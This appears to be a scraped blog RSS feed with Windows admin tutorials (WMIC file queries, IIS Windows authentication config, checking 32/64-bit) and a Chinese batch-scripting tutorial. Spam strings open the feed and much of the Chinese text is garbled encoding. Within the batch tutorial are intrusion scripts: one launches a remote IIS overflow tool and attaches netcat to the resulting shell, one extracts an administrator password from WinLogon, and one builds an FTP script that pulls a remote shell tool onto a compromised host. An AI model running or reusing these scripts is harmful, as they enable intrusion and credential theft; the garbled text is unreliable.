??xml version="1.0" encoding="utf-8" standalone="yes"?>狠狠综合久久综合88亚洲,亚洲中文字幕无码av永久,国产偷国产偷亚洲高清在线http://www.tkk7.com/yglwxl/category/31248.htmlzh-cnThu, 08 Dec 2011 09:05:47 GMTThu, 08 Dec 2011 09:05:47 GMT60How to check file properties through WMI command line (fw)http://www.tkk7.com/yglwxl/archive/2011/12/07/365818.html九宝九宝Wed, 07 Dec 2011 14:29:00 GMThttp://www.tkk7.com/yglwxl/archive/2011/12/07/365818.htmlhttp://www.tkk7.com/yglwxl/comments/365818.htmlhttp://www.tkk7.com/yglwxl/archive/2011/12/07/365818.html#Feedback0http://www.tkk7.com/yglwxl/comments/commentRss/365818.htmlhttp://www.tkk7.com/yglwxl/services/trackbacks/365818.htmlHow to check file properties through WMI command line24.Sep.2009 | by Gusac | Filed in: Articles, Tutorials

With the lack of Graphical Interface on Windows 2008 Core server there comes a need of performing a lot of task through command line. One of which is checking file properties like file version, path, product verision etc. Luckily we have a command that makes this task simple. On a side note, We can also run the same command on other operating systems like Windows Xp, 2003, vista.

Here is the command:
wmic datafile where name='c:\\windows\\system32\\notepad.exe'

Click here to view the enlarged screenshot

Notice that we have used two backslashes \\ in the file path. Also, notice that the path is enclosed in the single quotes.
The output will be confusing to read in command prompt window. To read and understand it better, we can take the output in text format and read it in notepad.

While doing so, please do NOT wrap the text.
wmic datafile where name='c:\\windows\\system32\\notepad.exe' > out.txt

Click here to view the enlarged screenshot

The output will reveal the file properties like Hidden, Path, Drive, Version Caption, Access rights etc.

To get one particular property of a file we need to modify the command a little bit. We need to use the GET Alias injunction to the command mentioned above. Let's say we want to check the version for the file notepad.exe. The command that is used for this is:
wmic datafile where name='c:\\windows\\system32\\notepad.exe' get version

Similarily, there is a list of properties that can be fetched through this command line. They are:

Access Rights
Caption
Class Name
Compressed
Compression Method
Computer System Class Name
Computer System Name
Creation Date
Current File Open Count
Description
Drive
Eight Dot Three File Name
Encrypted
Encryption Method
File Extension
File Name
File System Class Name
File System Name
File Type
Hidden
Install Date
Last Accessed
Last Modified
Manufacturer
Name
Path
Readable
Should Be Archived
Size
Status
System File
Version
Writeable



九宝 2011-12-07 22:29 发表评论
]]>
Windows Authentication <windowsAuthentication>http://www.tkk7.com/yglwxl/archive/2011/09/16/358838.html九宝九宝Fri, 16 Sep 2011 13:46:00 GMThttp://www.tkk7.com/yglwxl/archive/2011/09/16/358838.htmlhttp://www.tkk7.com/yglwxl/comments/358838.htmlhttp://www.tkk7.com/yglwxl/archive/2011/09/16/358838.html#Feedback0http://www.tkk7.com/yglwxl/comments/commentRss/358838.htmlhttp://www.tkk7.com/yglwxl/services/trackbacks/358838.htmlfrom http://www.iis.net/ConfigReference/system.webServer/security/authentication/windowsAuthentication

Overview

The <windowsAuthentication> element defines configuration settings for the Internet Information Services (IIS) 7 Windows authentication module. You can use Windows authentication when your IIS 7 server runs on a corporate network that is using Microsoft Active Directory service domain identities or other Windows accounts to identify users. Because of this, you can use Windows authentication whether or not your server is a member of an Active Directory domain.

Windows authentication (formerly named NTLM, and also referred to as Windows NT Challenge/Response authentication) is a secure form of authentication because the user name and password are hashed before being sent across the network. When you enable Windows authentication, the client browser sends a strongly hashed version of the password in a cryptographic exchange with your Web server.

Windows authentication supports two authentication protocols, Kerberos and NTLM, which are defined in the <providers> element. When you install and enable Windows authentication on IIS 7, the default protocol is Kerberos. The <windowsAuthentication> element can also contain a useKernelMode attribute that configures whether to use the kernel mode authentication feature that is new to Windows Server 2008.

Windows authentication is best suited for an intranet environment for the following reasons:

  • Client computers and Web servers are in the same domain.
  • Administrators can make sure that every client browser is Internet Explorer 2.0 or later.
  • HTTP proxy connections, which are not supported by NTLM, are not required.
  • Kerberos version 5 requires a connection to Active Directory, which is not feasible in an Internet environment.

New in IIS 7.5

The <extendedProtection> element was introduced in IIS 7.5, which allows you to configure the settings for the new extended protection features that have been integrated into Windows authentication.

Compatibility

Version Notes
IIS 7.5 The <extendedProtection> element was added in IIS 7.5.
IIS 7.0 The <windowsAuthentication> element was introduced in IIS 7.0.
IIS 6.0 The <windowsAuthentication> element replaces portions of the IIS 6.0 AuthType and AuthFlags metabase properties.

Setup

The default installation of IIS 7 does not include the Windows authentication role service. To use Windows authentication on IIS, you must install the role service, disable Anonymous authentication for your Web site or application, and then enable Windows authentication for the site or application.

Note: After you install the role service, IIS 7 commits the following configuration settings to the ApplicationHost.config file.

<windowsAuthentication enabled="false" />

Windows Server 2008 or Windows Server 2008 R2

  1. On the taskbar, click Start, point to Administrative Tools, and then click Server Manager.
  2. In the Server Manager hierarchy pane, expand Roles, and then click Web Server (IIS).
  3. In the Web Server (IIS) pane, scroll to the Role Services section, and then click Add Role Services.
  4. On the Select Role Services page of the Add Role Services Wizard, select Windows Authentication, and then click Next.
  5. On the Confirm Installation Selections page, click Install.
  6. On the Results page, click Close.

Windows Vista or Windows 7

  1. On the taskbar, click Start, and then click Control Panel.
  2. In Control Panel, click Programs and Features, and then click Turn Windows Features on or off.
  3. Expand Internet Information Services, then World Wide Web Services, then Security.
  4. Select Windows Authentication, and then click OK.

How To

How to enable Windows authentication for a Web site, Web application, or Web service

  1. Open Internet Information Services (IIS) Manager:
    • If you are using Windows Server 2008 or Windows Server 2008 R2:
      • On the taskbar, click Start, point to Administrative Tools, and then click Internet Information Services (IIS) Manager.
    • If you are using Windows Vista or Windows 7:
      • On the taskbar, click Start, and then click Control Panel.
      • Double-click Administrative Tools, and then double-click Internet Information Services (IIS) Manager.
  2. In the Connections pane, expand the server name, expand Sites, and then the site, application, or Web service for which you want to enable Windows authentication.
  3. Scroll to the Security section in the Home pane, and then double-click Authentication.
  4. In the Authentication pane, select Windows Authentication, and then click Enable in the Actions pane.

How to enable Extended Protection for Windows authentication

  1. Open Internet Information Services (IIS) Manager:
    • If you are using Windows Server 2008 or Windows Server 2008 R2:
      • On the taskbar, click Start, point to Administrative Tools, and then click Internet Information Services (IIS) Manager.
    • If you are using Windows Vista or Windows 7:
      • On the taskbar, click Start, and then click Control Panel.
      • Double-click Administrative Tools, and then double-click Internet Information Services (IIS) Manager.
  2. In the Connections pane, expand the server name, expand Sites, and then the site, application, or Web service for which you want to enable Extended Protection for Windows authentication.
  3. Scroll to the Security section in the Home pane, and then double-click Authentication.
  4. In the Authentication pane, select Windows Authentication.
  5. Click Enable in the Actions pane.
  6. Click Advanced Settings in the Actions pane.
  7. When the Advanced Settings dialog box appears, select one of the following options in the Extended Protection drop-down menu:
    • Select Accept if you want to enable extended protection while providing down-level support for clients that do not support extended protection.
    • Select Required if you want to enable extended protection without providing down-level support.
  8. Click OK to close the Advanced Settings dialog box.

Configuration

The <windowsAuthentication> element is configurable at the site, application, or virtual directory level in the ApplicationHost.config file.

Attributes

Attribute Description
authPersistNonNTLM Optional Boolean attribute.

Specifies whether IIS automatically reauthenticates every non-NTLM (for example, Kerberos) request, even those on the same connection. False enables multiple authentications for the same connections.

Note: A setting of true means that the client will be authenticated only once on the same connection. IIS will cache a token or ticket on the server for a TCP session that stays established.

The default is false.
authPersistSingleRequest Optional Boolean attribute.

Setting this flag to true specifies that authentication persists only for a single request on a connection. IIS resets the authentication at the end of each request, and forces reauthentication on the next request of the session.

The default value is false.
enabled Required Boolean attribute.

Specifies whether Windows authentication is enabled.

The default value is false.
useKernelMode Optional Boolean attribute.

Specifies whether Windows authentication is done in kernel mode. True specifies that Windows authentication uses kernel mode.

Kernel-mode authentication may improve authentication performance and prevent authentication problems with application pools that are configured to use a custom identity.

As a best practice, do not disable this setting if you use Kerberos authentication and have a custom identity on the application pool.

The default is true.

Child Elements

Element Description
extendedProtection Optional element.

Specifies extended protection options for Windows authentication.

Note: This element was added in IIS 7.5.
providers Optional element.

Specifies security support providers used for Windows authentication.

Configuration Sample

The following default <windowsAuthentication> element is configured at the root ApplicationHost.config file in IIS 7.0, and disables Windows authentication by default. It also defines the two Windows authentication providers for IIS 7.0.

<windowsAuthentication enabled="false">
   <providers>
      <add value="Negotiate" />
      <add value="NTLM" />
   </providers>
</windowsAuthentication>

The following example enables Windows authentication and disables Anonymous authentication for a Web site named Contoso.

<location path="Contoso">
   <system.webServer>
      <security>
         <authentication>
            <anonymousAuthentication enabled="false" />
            <windowsAuthentication enabled="true" />
         </authentication>
      </security>
   </system.webServer>
</location>

Sample Code

The following examples disable Anonymous authentication for a site named Contoso, then enable Windows authentication for the site.

AppCmd.exe

appcmd.exe set config "Contoso" -section:system.webServer/security/authentication/anonymousAuthentication /enabled:"False" /commit:apphost

appcmd.exe set config "Contoso" -section:system.webServer/security/authentication/windowsAuthentication /enabled:"True" /commit:apphost

Note: You must be sure to set the commit parameter to apphost when you use AppCmd.exe to configure these settings. This commits the configuration settings to the appropriate location section in the ApplicationHost.config file.

C#

using System;
using System.Text;
using Microsoft.Web.Administration;

internal static class Sample {

   private static void Main() {

      using(ServerManager serverManager = new ServerManager()) { 
         Configuration config = serverManager.GetApplicationHostConfiguration();

         ConfigurationSection anonymousAuthenticationSection = config.GetSection("system.webServer/security/authentication/anonymousAuthentication", "Contoso");
         anonymousAuthenticationSection["enabled"] = false;

         ConfigurationSection windowsAuthenticationSection = config.GetSection("system.webServer/security/authentication/windowsAuthentication", "Contoso");
         windowsAuthenticationSection["enabled"] = true;

         serverManager.CommitChanges();
      }
   }
}

VB.NET

Imports System
Imports System.Text
Imports Microsoft.Web.Administration

Module Sample
   Sub Main()
      Dim serverManager As ServerManager = New ServerManager
      Dim config As Configuration = serverManager.GetApplicationHostConfiguration

      Dim anonymousAuthenticationSection As ConfigurationSection = config.GetSection("system.webServer/security/authentication/anonymousAuthentication", "Contoso")
      anonymousAuthenticationSection("enabled") = False

      Dim windowsAuthenticationSection As ConfigurationSection = config.GetSection("system.webServer/security/authentication/windowsAuthentication", "Contoso")
      windowsAuthenticationSection("enabled") = True

      serverManager.CommitChanges()
   End Sub
End Module

JavaScript

var adminManager = new ActiveXObject('Microsoft.ApplicationHost.WritableAdminManager');
adminManager.CommitPath = "MACHINE/WEBROOT/APPHOST";

var anonymousAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/anonymousAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso");
anonymousAuthenticationSection.Properties.Item("enabled").Value = false;

var windowsAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/windowsAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso");
windowsAuthenticationSection.Properties.Item("enabled").Value = true;

adminManager.CommitChanges();

VBScript

Set adminManager = CreateObject("Microsoft.ApplicationHost.WritableAdminManager")
adminManager.CommitPath = "MACHINE/WEBROOT/APPHOST"

Set anonymousAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/anonymousAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso")
anonymousAuthenticationSection.Properties.Item("enabled").Value = False

Set windowsAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/windowsAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso")
windowsAuthenticationSection.Properties.Item("enabled").Value = True

adminManager.CommitChanges()


九宝 2011-09-16 21:46 发表评论
]]>
How To Determine if Your Computer Is 32-Bit or 64-Bit(forward)http://www.tkk7.com/yglwxl/archive/2011/09/16/358751.html九宝九宝Thu, 15 Sep 2011 19:34:00 GMThttp://www.tkk7.com/yglwxl/archive/2011/09/16/358751.htmlhttp://www.tkk7.com/yglwxl/comments/358751.htmlhttp://www.tkk7.com/yglwxl/archive/2011/09/16/358751.html#Feedback0http://www.tkk7.com/yglwxl/comments/commentRss/358751.htmlhttp://www.tkk7.com/yglwxl/services/trackbacks/358751.htmlhow to check window version

run: Winver


Here's How:
  1. Open the System Information

    Open the Start menu, and click on Programs -> Accessories -> System Tools -> System Information

     

  2. Look in the System Summary

    The System Information tool will display detailed information about your Windows operating system. Once opened it will show the "System Summary" – it’s an overview of your computer and operating system.

  3. Look for the System Type Item

    On the right hand side of the window you will see a list of items. Look for the item called "System Type".

    The value of this item will tell you whether your computer is 32-bit or 64-bit:

    • x86-based PC: It’s a 32-bit computer.
    • x64-based PC: It’s a 64-bit computer.

     



九宝 2011-09-16 03:34 发表评论
]]>
批处?如何对作参数的文件名q行操作http://www.tkk7.com/yglwxl/archive/2009/06/01/279408.html九宝九宝Mon, 01 Jun 2009 08:01:00 GMThttp://www.tkk7.com/yglwxl/archive/2009/06/01/279408.htmlhttp://www.tkk7.com/yglwxl/comments/279408.htmlhttp://www.tkk7.com/yglwxl/archive/2009/06/01/279408.html#Feedback0http://www.tkk7.com/yglwxl/comments/commentRss/279408.htmlhttp://www.tkk7.com/yglwxl/services/trackbacks/279408.html 如何取第三个参数的文件\?c:/temp
SET BIN_DIR=%1                ::取第一个参?br /> SET RES_DIR=%2                ::取第二个参数
SET TARGET_FILE=%3            ::取第三个参数
SET TARGET_FILE_NAME=%~nx3    ::取第三个参数的文件名
SET TARGET_DIR=%~dp3          ::取第三个参数的\?/span>


如何对作参数的文件名q行操作
?

ECHO %~[<format>]<n>

<format>的取值如?/span>Q?/span>

%~<n>

扩展%<n>Q然后去除双引号Q?/span>" "Q?/span>

%~f<n>

扩展%<n>, 取文件的全\?/span>/文g?/span>/扩展名,U字W串处理

%~d<n>

扩展%<n>, 取文件的驱动器名

%~p<n>

扩展%<n>, 取文件的路径?/span>

%~n<n>

扩展%<n>, 取文件名Q不包括扩展?/span>

%~x<n>

扩展%<n>, 取文件的扩展?/span>

%~s<n>

扩展%<n>, 只包括短文g名的全\?/span>/文g?/span>/扩展?/span>

%~t<n>

扩展%<n>,  文g的最后修Ҏ?/span>

%~z<n>

扩展%<n>, 文g的大?/span>

%~a<n>

扩展%<n>, 文g的属?/span>

%~$<var>:<n>

<var>一般是环境变量PATH, 从中LW一个匹配的文g名是%1的文件的全\径,如果找不到则展开为空

             

              以上参数可以l合Q其格式是:

%~[{f|d|a|z|s|n|x|t|p}][$<var>:]<n>



九宝 2009-06-01 16:01 发表评论
]]>
(? l典的DOS批处理入门教E?2)Q徏议耐心看完Q必有收Phttp://www.tkk7.com/yglwxl/archive/2009/06/01/279406.html九宝九宝Mon, 01 Jun 2009 07:52:00 GMThttp://www.tkk7.com/yglwxl/archive/2009/06/01/279406.htmlhttp://www.tkk7.com/yglwxl/comments/279406.htmlhttp://www.tkk7.com/yglwxl/archive/2009/06/01/279406.html#Feedback0http://www.tkk7.com/yglwxl/comments/commentRss/279406.htmlhttp://www.tkk7.com/yglwxl/services/trackbacks/279406.html关键? dos批处?自动化安装测?/strong>

目前在做自动化安装测试的q程中要用到大量dos批处理的应用Q所以脓一?br />

很好的DOS批处理入门教E?呵呵?/span>

 

######################################################################
4. 单批处理文g概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
W二个echo是追?
W三个echo清Ia.txt 重新创徏 a.txt

netstat -n | find "3389"
q个要列出所有连?389的用Lip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显C注释语?本行昄
@rem 不显C注释语?本行不显C?
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahackE序是idaq程溢出Z?应该是很单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来W二个文?是得到administrator的口?
大多Ch说得不到.其实是自q没有输入正确的信?

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

q有一个就是已l通过telnet登陆了一个远E主?怎样上传文g(win)
依次在窗口输入下面的东西. 当然了也可以全部拯.Ctrl+Vq去. 然后q待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w


批处理,说白了就是DOS操作。有为DOS操作q时了、落后了Q其实不然。DOS操作最大的好处在于快、不留痕。在许多时候,Windows操作是根本解决不了问题的Q必d助DOS操作?br />
  必备常识Q批处理的编写和修改

  打开C本,要~写的内容写在里面。在存ؓbat文g卛_。修改也可以用记事本打开q行修改?br />
  批处理运用一Q扫描本地端?br />
  q个功能优化大师有,是扫描哪个端口与internetq接和连接ip。这Qؓ及时发现q拦截非法连接有着不可取代的功功?br />
  然而,启动优化大师太慢了,而且太烦了,不利于随Z用。因此,~写一个这L批处理来解决问题显得尤为重要了?br />
  ************************************************************
  代码Q?br />   netstat -n
  pause
  附:也可在每一行开头添?#8220;@”Q这样命令就不会昄出来?br />   ************************************************************

  批处理运用二Q查常见病毒

  其实Q对于上|的人来_遇到病毒是在所隑օ的。然而,如果真的不幸感染Q怎样才能发现呢?N真的要买昂贵的杀毒Y件吗Q不一定?br />
  我们可以~写批处理来查一些常见的|络病毒。如果确认感染病毒,可以下蝲专用杀毒工兯行查杀Q或采取其他途径杀毒?br />
  下面Q我以欢乐时光ؓ例进行分析:
 
  LӞ1.bat
  其它文gQ?.bat 3.bat

  ************************************************************
  1.bat代码Q?br />   @if exist c:\folder.htt call 2.bat
  @if exist d:\folder.htt call 2.bat
  @if exist e:\folder.htt call 2.bat
  @if exist f:\folder.htt call 2.bat
  ************************************************************
  2.bat代码Q?br />   @echo 发现Ƣ乐时光病毒Q?br />   @call 3.bat
  @pause
  ************************************************************
  3.bat代码Q?br />   @c:
  @dir *.htt *.ini /s/a>1.txt
  @d:
  @dir *.htt *.ini /s/a>1.txt
  @e:
  @dir *.htt *.ini /s/a>1.txt
  ************************************************************

  q样Q如果中毒,那么必定会存在大量folder.htt和Desktop.iniQ通过q样可以_略的检查计机是否感染病毒?br />
  批处理运用三Q文件处?br />
  假设Q我要大规模的做文g的移动、删除等Q如果在Windows里操作不免会出现错误Q而且q些错误不易察觉。因此,用批处理q行操作Q不但简单易行,而且Ҏ发现错误q可以及时纠正?br />
  例如Q我要将D盘的htm文gUd到E盘,再格式化D盘,然后文件移回D盘,q改后缀为html?br />
  ************************************************************
  1.bat代码Q?br />   @E:
  @Md d
  @D:
  @Copy *.htm e:\d
  @if exist e:\d\*.htm call 2.bat
  ************************************************************
  2.bat代码Q?br />   @Format d:/q
  @Copy e:\d\*.htm d:
  @D:
  @Ren *.htm *.html
  ************************************************************

  从例子中Q可以看出,如果一旦出现问题,是很Ҏ被发现的。从而,也证明了批处理的可用性?br />
  关于批处理的q用Q可以说博大_深Q变化莫。希望大家能够用DOS命oM化它Q这h能让其更好的为我们服务?

批处理命?br />
1.Echo 命o

打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?br />
语法Qecho [{on|off}] [message]
SampleQecho off / echo hello world
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?br />
2.@ 命o

表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br /> SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?

3.Goto 命o
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?br />
语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?br /> if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?br />
4.Rem 命o

注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br /> Rem Message
SampleQ@Rem Here is the description.

5.Pause 命o

q行 Pause 命oӞ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?br /> @echo off
:begin
copy a:*.* dQ\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?br />
6.Call 命o

从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?br />
语法Qcall [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数Q[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?br />
7.start 命o

调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?br /> 入R常用参数Q?br /> MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?br /> REALTIME ?REALTIME 优先U类别开始应用程?br /> WAIT 启动应用E序q等候它l束
parameters q些Z送到命o/E序的参?br /> 执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?br />
8.choice 命o

choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234……

? choice /c:dme defrag,mem,end
显C?br /> defrag,mem,end[D,M,E]?
SampleQ?br /> Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?br />
9.If 命o

if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?

1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文g?待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br /> 如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br /> 如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???br />
10.for 命o

for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?br /> 在批处理文g中?FOR 命oӞ指定变量请?%%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br /> (set) 指定一个或一l文件。可以用通配W?br /> command 指定Ҏ个文件执行的命o?br /> command-parameters 为特定命令指定参数或命o行开兟?br /> 在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I

如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?br /> 支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配W,则指定与目录名匹配,而不与文?br /> 名匹配?br />
FOR /R [[drive:]path] %variable IN (set) DO command [command-

查以 [drive:]path 为根的目录树Q指向每个目录中?br /> FOR 语句。如果在 /R 后没有指定目录,则用当?br /> 目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?br />
FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量Ş式从开始到l束的一个数字序列?br /> 因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br /> 序列 (5 4 3 2 1)?br />
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果?usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br /> 处理包括d文gQ将其分成一行行的文字,然后每?br /> 解析成零或更多的W号。然后用已找到的W号字符串变量?br /> 调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。您可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?

eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br /> delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br /> 默认分隔W集?br /> tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br /> usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命oq允许在 fi
中用双引号扩v文g名称?br />
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分?myfile.txt 中的每一行,忽略以分h头的那些行,?br /> 每行中的W二个和W三个符号传递给 for E序体;用逗号??br /> I格定界W号。请注意Q这?for E序体的语句引用 %i ?br /> 取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,您需要用双引号将文g名括h。ؓ了用q种方式来
用双引号Q您q需要?usebackq 选项Q否则,双引号会
被理解成是用作定义某个要分析的字W串的?br />
%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一?br /> 指定最?26 个符P只要不试图说明一个高于字?z ?br /> Z 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?br />
您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br /> 用单引号括号之间的 filenameset 括v来。这P该字W?br /> 串会被当作一个文件中的一个单一输入行?br />
最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会
被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进
内存Qƈ被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚丑ֽ前环境中的环境变量名U?br />
另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br /> %~dI - 仅将 %I 扩充C个驱动器?br /> %~pI - 仅将 %I 扩充C个\?br /> %~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br /> %~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br /> 未被定义Q或者没有找到文Ӟ此组合键会扩?br /> I字W串

可以l合修饰W来得到多重l果:

%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br /> %~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br /> %~ftzaI - ?%I 扩充到类D出线路的 DIR

在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?br />
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?br />
sample2Q?br />
